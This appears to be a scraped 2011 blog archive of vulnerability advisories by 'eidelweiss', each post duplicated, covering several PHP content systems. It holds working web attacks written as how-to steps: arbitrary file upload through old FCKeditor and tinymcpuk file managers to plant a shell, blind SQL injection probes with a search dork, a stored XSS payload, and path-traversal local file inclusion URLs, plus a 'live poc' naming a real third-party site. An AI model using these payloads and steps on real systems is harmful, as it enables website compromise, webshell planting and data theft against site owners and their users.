===================================================================
JagoanStore CMS Arbitary file upload vulnerability
===================================================================
Software: JagoanStore CMS
Vendor: www.jagoanstore.com
Price: Rp.900.000 (IDR)
Vuln Type: Arbitary file upload
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss-advisories.blogspot.com
Gratz: Devilzc0de, YOGYACARDERLINK, and YOU !!!
===================================================================
description:
JagoanStore, adalah CMS untuk membuat toko online.
JagoanStore dibuat tidak hanya berdasar pada hal teknis pembuatan website, dalam pembuatannya juga di desain untuk membuat web toko online Anda mampu menjadi senjata ampuh bagi bisnis Anda.
Kini Anda tinggal fokus pada peningkatan penjualan online Anda.
----------------------------------
Vulnerability details:
JagoanStore CMS is using the old version of FCKeditor for upload file to all user.And all know the old version of FCKeditor have a vulnerability and attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked.
Here is the code:
/manage/fckeditor/editor/filemanager/connectors/php/config.php
global $Config ;
// SECURITY: You must explicitly enable this "connector". (Set it to "true").
// WARNING: don't just set "$Config['Enabled'] = true ;", you must be sure that only
// authenticated users can access this file or use some kind of session checking.
$Config['Enabled'] = true ; // <= 1
---
// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ; // <= here is the path of attacker file or shell backdoor will be placed.
// following setting enabled.
$Config['ForceSingleExtension'] = true ; // <= 2
$Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', 'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'ods', 'odt', 'pdf', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi', 'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif', 'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip') ; // <= 3
$Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;
---
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked
----------------------------------
exploit & p0c
[!] http://host/manage/fckeditor/editor/filemanager/connectors/uploadtest.html // upload your file here
or
[!] http://host/path_to_CMSBalitbang/manage/fckeditor/editor/filemanager/connectors/uploadtest.html
your shell or file will be placed here
[!] http://localhost/userfiles/ <= here
Nb: You can use trick from pentesters.ir about FCKeditor :D
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
Time Line:
- Bug Reported to vendor
- Vendor Response and confirm the bug
- Vendor apply fix and patch
- Vendor awarded bounty (very kind vendor and this is first local vendor that really nice for me)
==========================| -=[ E0F ]=- |==========================
Showing posts with label Advisories. Show all posts
Showing posts with label Advisories. Show all posts
2011/07/11
Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)
===================================================================
Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: BLind SQL Injection
Download link: http://www.tugux.com/uploads/47/tugux_cms.rar
Author: eidelweiss
contact: admin[at]eidelweiss[dot]info
Home: www.eidelweiss.info
References:
===================================================================
Vuln c0de on page_text.php
session_start();
require_once "scripts/connect_to_mysql.php";
if (isset($_GET['pid'])){
$pageid=$_GET['pid'];
//------------------------------------------------
$sqlCommand="SELECT lastmodified FROM pages WHERE id='$pageid' LIMIT 1";
$query=mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row=mysqli_fetch_array($query)) {
$date = $row["lastmodified"];
}
mysqli_free_result($query);
//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT admin FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
$admin = $row["admin"];
}
mysqli_free_result($query);
//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT pagebody FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
$body = $row["pagebody"];
}
mysqli_free_result($query);
}
//------------------------------------------------
if (isset($_GET['nid'])){
$nid=$_GET['nid'];
$sql=mysqli_query($myConnection,"SELECT title, date, admin, news FROM news WHERE id='$nid'") or die (mysqli_error($myConnection));
===================================================================
exploit & p0c
[!] page_text.php?nid=[valid nid]
[!] page_text.php?pid=[valid pid]
Example p0c
[!] http://server/page_text.php?nid=12 <= True
[!] http://server/page_text.php?nid=-12 <= False
[!] http://server/page_text.php?pid=51 <= True
[!] http://server/page_text.php?pid=-51 <= False
[+] http://server:3306 <= download the file , save and open with c++ or wordpad will show mysql version
[!] sample: http://server:3306 result : 5.0.92-community (use versi 5.0.92) :D
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: xss
Download link: http://www.tugux.com/uploads/47/tugux_cms.rar
Author: eidelweiss
contact: admin[at]eidelweiss[dot]info
Home: www.eidelweiss.info
====================================================================
comments.php file is persistant to xss attack
Go to
http://server/comments.php
and put or type this xss c0de into the command box
then the site will direct you to
http://server/latest.php?nid=
and there you go.. xss will pop up
p0c:
http://server/comments.php
or
http://server/path/comments.php
official site: http://www.tugux.com/comments.php
Gratz:
- YOGYACARDERLINK , DEVILZC0DE , etc
- Nofia Fitri (unyu²), whitehat, note, petimati, psycothic_girl, viska agasi (dudutzkuw), wenkhairu, etc (capek aja di ketik semua)
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
Hacking is Art
===================================================================
==========================| -=[ E0F ]=- |==========================
Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: BLind SQL Injection
Download link: http://www.tugux.com/uploads/47/tugux_cms.rar
Author: eidelweiss
contact: admin[at]eidelweiss[dot]info
Home: www.eidelweiss.info
References:
===================================================================
Vuln c0de on page_text.php
session_start();
require_once "scripts/connect_to_mysql.php";
if (isset($_GET['pid'])){
$pageid=$_GET['pid'];
//------------------------------------------------
$sqlCommand="SELECT lastmodified FROM pages WHERE id='$pageid' LIMIT 1";
$query=mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row=mysqli_fetch_array($query)) {
$date = $row["lastmodified"];
}
mysqli_free_result($query);
//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT admin FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
$admin = $row["admin"];
}
mysqli_free_result($query);
//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT pagebody FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
$body = $row["pagebody"];
}
mysqli_free_result($query);
}
//------------------------------------------------
if (isset($_GET['nid'])){
$nid=$_GET['nid'];
$sql=mysqli_query($myConnection,"SELECT title, date, admin, news FROM news WHERE id='$nid'") or die (mysqli_error($myConnection));
===================================================================
exploit & p0c
[!] page_text.php?nid=[valid nid]
[!] page_text.php?pid=[valid pid]
Example p0c
[!] http://server/page_text.php?nid=12 <= True
[!] http://server/page_text.php?nid=-12 <= False
[!] http://server/page_text.php?pid=51 <= True
[!] http://server/page_text.php?pid=-51 <= False
[+] http://server:3306 <= download the file , save and open with c++ or wordpad will show mysql version
[!] sample: http://server:3306 result : 5.0.92-community (use versi 5.0.92) :D
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: xss
Download link: http://www.tugux.com/uploads/47/tugux_cms.rar
Author: eidelweiss
contact: admin[at]eidelweiss[dot]info
Home: www.eidelweiss.info
====================================================================
comments.php file is persistant to xss attack
Go to
http://server/comments.php
and put or type this xss c0de into the command box
';alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//\';alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//";alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//\";alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//-->">'>
then the site will direct you to
http://server/latest.php?nid=
and there you go.. xss will pop up
p0c:
http://server/comments.php
or
http://server/path/comments.php
official site: http://www.tugux.com/comments.php
Gratz:
- YOGYACARDERLINK , DEVILZC0DE , etc
- Nofia Fitri (unyu²), whitehat, note, petimati, psycothic_girl, viska agasi (dudutzkuw), wenkhairu, etc (capek aja di ketik semua)
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
Hacking is Art
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/04/08
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================
Software: joomlacontenteditor (com_jce)
Vendor: www.joomlacontenteditor.net
Vuln Type: BLind SQL Injection
Download link: http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 (check here)
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Dork: inurl:"/index.php?option=com_jce"
===================================================================
Description:
JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...
===================================================================
exploit & p0c
[!] index.php?option=com_jce&Itemid=[valid Itemid]
Example p0c
[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
joomlacontenteditor (com_jce) BLIND sql injection vulnerability
===================================================================
Software: joomlacontenteditor (com_jce)
Vendor: www.joomlacontenteditor.net
Vuln Type: BLind SQL Injection
Download link: http://www.joomlacontenteditor.net/downloads/editor/joomla15x/category/joomla-15-2 (check here)
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Dork: inurl:"/index.php?option=com_jce"
===================================================================
Description:
JCE makes creating and editing Joomla!®
content easy Add a set of tools to your Joomla!® environment that give you the power to create the kind of content you want,
without limitations, and without needing to know or learn HTML, XHTML, CSS...
===================================================================
exploit & p0c
[!] index.php?option=com_jce&Itemid=[valid Itemid]
Example p0c
[!] http://host/index.php?option=com_jce&Itemid=8 <= True
[!] http://host/index.php?option=com_jce&Itemid=-8 <= False
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/03/30
osCSS2 2.1.0 RC12 Multiple Local File Inclusion Vulnerabilities
===================================================================
osCSS2 2.1.0 RC12 Multiple Local File Inclusion Vulnerabilities
===================================================================
Software: osCSS2 2.1.0 RC12
Vendor: http://www.oscss.org/
Vuln Type: Local File Inclusion
Download link: http://sourceforge.net/projects/oscss/files%2Foscss-2%2FosCSS 2.1. Final%2FosCSS2_2.1.0_preRC12.zip/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: wellcome back YOGYACARDERLINK.web.id !!!
===================================================================
description:
osCSS is a php ecommerce shopping program. Built on a foundation of oscommerce GPL code .
This version bring the script to web standard using XHTML 1.1 strict for markup language and CSS for layout presentation.
----------------------------------
Vulnerability Details:
Some Vulnerability has been discovered by John Leitch (AutoSec Tools) that can be exploited via browser (xss & LFI) :
http://www.exploit-db.com/exploits/17069/
http://localhost/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
http://localhost/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
-----------------------------------
Here is another vulnerability code i found there:
[!] admin/includes/template/oscss/gabarit-view.php
[!] admin/includes/template/defaut/gabarit-view.php
*/
$css=($_GET['forceview']=='print')? 'print' : 'view' ;
$CHARSET=(isset($_GET['forcecharset']))?$_GET['forcecharset'] : CHARSET ;
@include(DIR_WS_INCLUDES . 'content/'.$page_admin.'.top.inc');
require(DIR_WS_TEMPLATE.'inc/lib.template.php');
?>
-----------------------------------
[!] admin/includes/template/oscss/gabarit-2.php
*/
@include(DIR_WS_INCLUDES . 'content/'.$page_admin.'.top.inc');
require(DIR_WS_TEMPLATE.'inc/lib.template.php');
if (($init_theme=tep_test_gab_ele('inc/init_theme')) !=false) require($init_theme);
?>
-----------------------------------
exploit & p0c
[!] http://host/path_to_oscss/admin/includes/template/oscss/gabarit-view.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
or
[!] http://host/path_to_oscss/admin/includes/template/oscss/gabarit-2.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
or
[!] http://host/path_to_oscss/admin/includes/template/defaut/gabarit-view.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
osCSS2 2.1.0 RC12 Multiple Local File Inclusion Vulnerabilities
===================================================================
Software: osCSS2 2.1.0 RC12
Vendor: http://www.oscss.org/
Vuln Type: Local File Inclusion
Download link: http://sourceforge.net/projects/oscss/files%2Foscss-2%2FosCSS 2.1. Final%2FosCSS2_2.1.0_preRC12.zip/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: wellcome back YOGYACARDERLINK.web.id !!!
===================================================================
description:
osCSS is a php ecommerce shopping program. Built on a foundation of oscommerce GPL code .
This version bring the script to web standard using XHTML 1.1 strict for markup language and CSS for layout presentation.
----------------------------------
Vulnerability Details:
Some Vulnerability has been discovered by John Leitch (AutoSec Tools) that can be exploited via browser (xss & LFI) :
http://www.exploit-db.com/exploits/17069/
http://localhost/oscss2/admin108/index.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
http://localhost/oscss2/admin108/popup_image.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
-----------------------------------
Here is another vulnerability code i found there:
[!] admin/includes/template/oscss/gabarit-view.php
[!] admin/includes/template/defaut/gabarit-view.php
*/
$css=($_GET['forceview']=='print')? 'print' : 'view' ;
$CHARSET=(isset($_GET['forcecharset']))?$_GET['forcecharset'] : CHARSET ;
@include(DIR_WS_INCLUDES . 'content/'.$page_admin.'.top.inc');
require(DIR_WS_TEMPLATE.'inc/lib.template.php');
?>
-----------------------------------
[!] admin/includes/template/oscss/gabarit-2.php
*/
@include(DIR_WS_INCLUDES . 'content/'.$page_admin.'.top.inc');
require(DIR_WS_TEMPLATE.'inc/lib.template.php');
if (($init_theme=tep_test_gab_ele('inc/init_theme')) !=false) require($init_theme);
?>
-----------------------------------
exploit & p0c
[!] http://host/path_to_oscss/admin/includes/template/oscss/gabarit-view.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
or
[!] http://host/path_to_oscss/admin/includes/template/oscss/gabarit-2.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
or
[!] http://host/path_to_oscss/admin/includes/template/defaut/gabarit-view.php?page_admin=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/03/28
webEdition CMS Version 6.1.0.2 (DOCUMENT_ROOT) Local File Inclusion vulnerability
===================================================================
webEdition CMS (DOCUMENT_ROOT) Local File Inclusion vulnerability
===================================================================
Software: webEdition CMS Version 6.1.0.2
Vendor: http://www.webedition.org
Vuln Type: Local File Inclusion
Download link: http://sourceforge.net/projects/webedition/files/webEdition/6.1.0.2/webEdition_6102.tar.gz/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: wellcome back YOGYACARDERLINK.web.id !!!
===================================================================
description:
webEdition Version 6.1.0.2
webEdition is a web content management system licensed under the GPL
For system requirements,
installation and upgrade details, see the files INSTALL and the informations available on our website
http://www.webedition.org
see webEdition/license folder for license informations
see INSTALL for quick installation instructions.
----------------------------------
Vulnerability code:
index.php
/*****************************************************************************
* INITIALIZATION
*****************************************************************************/
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/conf/we_conf.inc.php");
require_once($_SERVER['DOCUMENT_ROOT'] . "/webEdition/we/include/we_message_reporting/we_message_reporting.class.php");
/*****************************************************************************
* INCLUDES
*****************************************************************************/
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_html_tools.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_browser_check.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_button.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlElement.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlTable.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/alert.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/global.inc.php");
$ignore_browser = isset($_REQUEST["ignore_browser"]) && ($_REQUEST["ignore_browser"] === "true");
/*****************************************************************************
----------------------------------
exploit & p0c
[!] http://host/webEdition/index.php?DOCUMENT_ROOT= [lfi]
or
[!] http://host/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]
Nb: seems Another vulnerability also available like LFD , XSS , RFI maybe and etc , but i didnt check and test yet.
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
webEdition CMS (DOCUMENT_ROOT) Local File Inclusion vulnerability
===================================================================
Software: webEdition CMS Version 6.1.0.2
Vendor: http://www.webedition.org
Vuln Type: Local File Inclusion
Download link: http://sourceforge.net/projects/webedition/files/webEdition/6.1.0.2/webEdition_6102.tar.gz/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: wellcome back YOGYACARDERLINK.web.id !!!
===================================================================
description:
webEdition Version 6.1.0.2
webEdition is a web content management system licensed under the GPL
For system requirements,
installation and upgrade details, see the files INSTALL and the informations available on our website
http://www.webedition.org
see webEdition/license folder for license informations
see INSTALL for quick installation instructions.
----------------------------------
Vulnerability code:
index.php
/*****************************************************************************
* INITIALIZATION
*****************************************************************************/
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/conf/we_conf.inc.php");
require_once($_SERVER['DOCUMENT_ROOT'] . "/webEdition/we/include/we_message_reporting/we_message_reporting.class.php");
/*****************************************************************************
* INCLUDES
*****************************************************************************/
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_html_tools.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_browser_check.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_button.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlElement.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlTable.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/alert.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/global.inc.php");
$ignore_browser = isset($_REQUEST["ignore_browser"]) && ($_REQUEST["ignore_browser"] === "true");
/*****************************************************************************
----------------------------------
exploit & p0c
[!] http://host/webEdition/index.php?DOCUMENT_ROOT= [lfi]
or
[!] http://host/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]
Nb: seems Another vulnerability also available like LFD , XSS , RFI maybe and etc , but i didnt check and test yet.
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/03/20
CMS Lokomedia 1.5 Arbitary file upload vulnerability
===================================================================
CMS Lokomedia 1.5 Arbitary file upload vulnerability
===================================================================
Software: CMS Lokomedia
Vendor: http://bukulokomedia.com/home
Vuln Type: Arbitary file upload
Download link: http://bukulokomedia.com/lokomedia-1.5.rar
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
DORK: use your skill and play your imagination :P
Gratz:
- Kuris : status udah merit aja beib.. kgak undang² iks..
- Richie RebelgiRL : (Limited edition.. lol) live is never flate so enjoy this live mate ^_^
===================================================================
----------------------------------
exploit & p0c
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/browser.html // upload your file here
or
[!] http://host/tinymcpuk/filemanager/browser.html
or
[!] http://host//tinymcpuk/filemanager/frmupload.html
or
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/frmupload.html
your shell or file will be placed here
/*------------------------------------------------------------------------------*/
/* Path to user files relative to the document root (no trailing slash) */
/*------------------------------------------------------------------------------*/
$fckphp_config['UserFilesPath'] = "./lokomedia/tinymcpuk/gambar" ; // <= here
/*==============================================================================*/
/* Apabila sudah di-onlinekan, ubah baris 47 dengan settingan seperti berikut:
$fckphp_config['UserFilesPath'] = "./tinymcpuk/gambar" ; */ // <= or here
----------------------------------
live poc : http://www.ikafela.com./tinymcpuk/filemanager/browser.html
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
CMS Lokomedia 1.5 Arbitary file upload vulnerability
===================================================================
Software: CMS Lokomedia
Vendor: http://bukulokomedia.com/home
Vuln Type: Arbitary file upload
Download link: http://bukulokomedia.com/lokomedia-1.5.rar
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
DORK: use your skill and play your imagination :P
Gratz:
- Kuris : status udah merit aja beib.. kgak undang² iks..
- Richie RebelgiRL : (Limited edition.. lol) live is never flate so enjoy this live mate ^_^
===================================================================
----------------------------------
exploit & p0c
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/browser.html // upload your file here
or
[!] http://host/tinymcpuk/filemanager/browser.html
or
[!] http://host//tinymcpuk/filemanager/frmupload.html
or
[!] http://host/path_to_lokomedia/tinymcpuk/filemanager/frmupload.html
your shell or file will be placed here
/*------------------------------------------------------------------------------*/
/* Path to user files relative to the document root (no trailing slash) */
/*------------------------------------------------------------------------------*/
$fckphp_config['UserFilesPath'] = "./lokomedia/tinymcpuk/gambar" ; // <= here
/*==============================================================================*/
/* Apabila sudah di-onlinekan, ubah baris 47 dengan settingan seperti berikut:
$fckphp_config['UserFilesPath'] = "./tinymcpuk/gambar" ; */ // <= or here
----------------------------------
live poc : http://www.ikafela.com./tinymcpuk/filemanager/browser.html
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/03/19
CMS Balitbang v 3.3 Arbitary file upload vulnerability
===================================================================
CMS Balitbang v.3.3 Arbitary file upload vulnerability
===================================================================
Software: CMS Balitbang
Vendor: www.kajianwebsite.org
Vuln Type: Arbitary file upload
Download link: http://www.kajianwebsite.org/download/CMS%20versi%203.3.zip
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: xx_user , kuris , and YOU !!!
===================================================================
description:
CMS balitbang is content management system for educational website.
Namanya sih bukan CMS Balitbang, cuma berhubungan CMS ini dikembangin oleh Balitbang Kemendiknas makanya lebih terkenal dengan sebutan CMS Balitbang. CMS Balitbang ini ditujukan untuk kepentingan dunia pendidikan Indonesia terutama untuk sekolah sekolah yang belum punya Website Sekolahnya. Harapannya kedepan Balitbang menginginkan semua sekolah di Indonesia punya Sistem Informasi Berbasis Website yang bisa diakses oleh banyak orang.
----------------------------------
Vulnerability details:
CMS Balitbang is using the old version of FCKeditor for upload file to all user.And all know the old version of FCKeditor have a vulnerability and attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked.
Here is the code:
/webtemp/functions/editor/filemanager/connectors/php/config.php
global $Config ;
// SECURITY: You must explicitly enable this "connector". (Set it to "true").
// WARNING: don't just set "$Config['Enabled'] = true ;", you must be sure that only
// authenticated users can access this file or use some kind of session checking.
$Config['Enabled'] = true ; // <= 1
---
// Path to user files relative to the document root.
$Config['UserFilesPath'] = 'http://localhost/webtemp/userfiles/' ; // <= here is the path of attacker file or shell backdoor will be placed.
// following setting enabled.
$Config['ForceSingleExtension'] = true ; // <= 2
$Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', 'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'ods', 'odt', 'pdf', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi', 'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif', 'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip') ; // <= 3
---
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked
----------------------------------
exploit & p0c
[!] http://host//webtemp/functions/editor/filemanager/connectors/uploadtest.html // upload your file here
or
[!] http://host/path_to_CMSBalitbang/functions/editor/filemanager/connectors/uploadtest.html
your shell or file will be placed here
[!] http://localhost/webtemp/userfiles/ <= here
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
CMS Balitbang v.3.3 Arbitary file upload vulnerability
===================================================================
Software: CMS Balitbang
Vendor: www.kajianwebsite.org
Vuln Type: Arbitary file upload
Download link: http://www.kajianwebsite.org/download/CMS%20versi%203.3.zip
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
Gratz: xx_user , kuris , and YOU !!!
===================================================================
description:
CMS balitbang is content management system for educational website.
Namanya sih bukan CMS Balitbang, cuma berhubungan CMS ini dikembangin oleh Balitbang Kemendiknas makanya lebih terkenal dengan sebutan CMS Balitbang. CMS Balitbang ini ditujukan untuk kepentingan dunia pendidikan Indonesia terutama untuk sekolah sekolah yang belum punya Website Sekolahnya. Harapannya kedepan Balitbang menginginkan semua sekolah di Indonesia punya Sistem Informasi Berbasis Website yang bisa diakses oleh banyak orang.
----------------------------------
Vulnerability details:
CMS Balitbang is using the old version of FCKeditor for upload file to all user.And all know the old version of FCKeditor have a vulnerability and attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked.
Here is the code:
/webtemp/functions/editor/filemanager/connectors/php/config.php
global $Config ;
// SECURITY: You must explicitly enable this "connector". (Set it to "true").
// WARNING: don't just set "$Config['Enabled'] = true ;", you must be sure that only
// authenticated users can access this file or use some kind of session checking.
$Config['Enabled'] = true ; // <= 1
---
// Path to user files relative to the document root.
$Config['UserFilesPath'] = 'http://localhost/webtemp/userfiles/' ; // <= here is the path of attacker file or shell backdoor will be placed.
// following setting enabled.
$Config['ForceSingleExtension'] = true ; // <= 2
$Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', 'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'ods', 'odt', 'pdf', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi', 'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif', 'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip') ; // <= 3
---
with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked
----------------------------------
exploit & p0c
[!] http://host//webtemp/functions/editor/filemanager/connectors/uploadtest.html // upload your file here
or
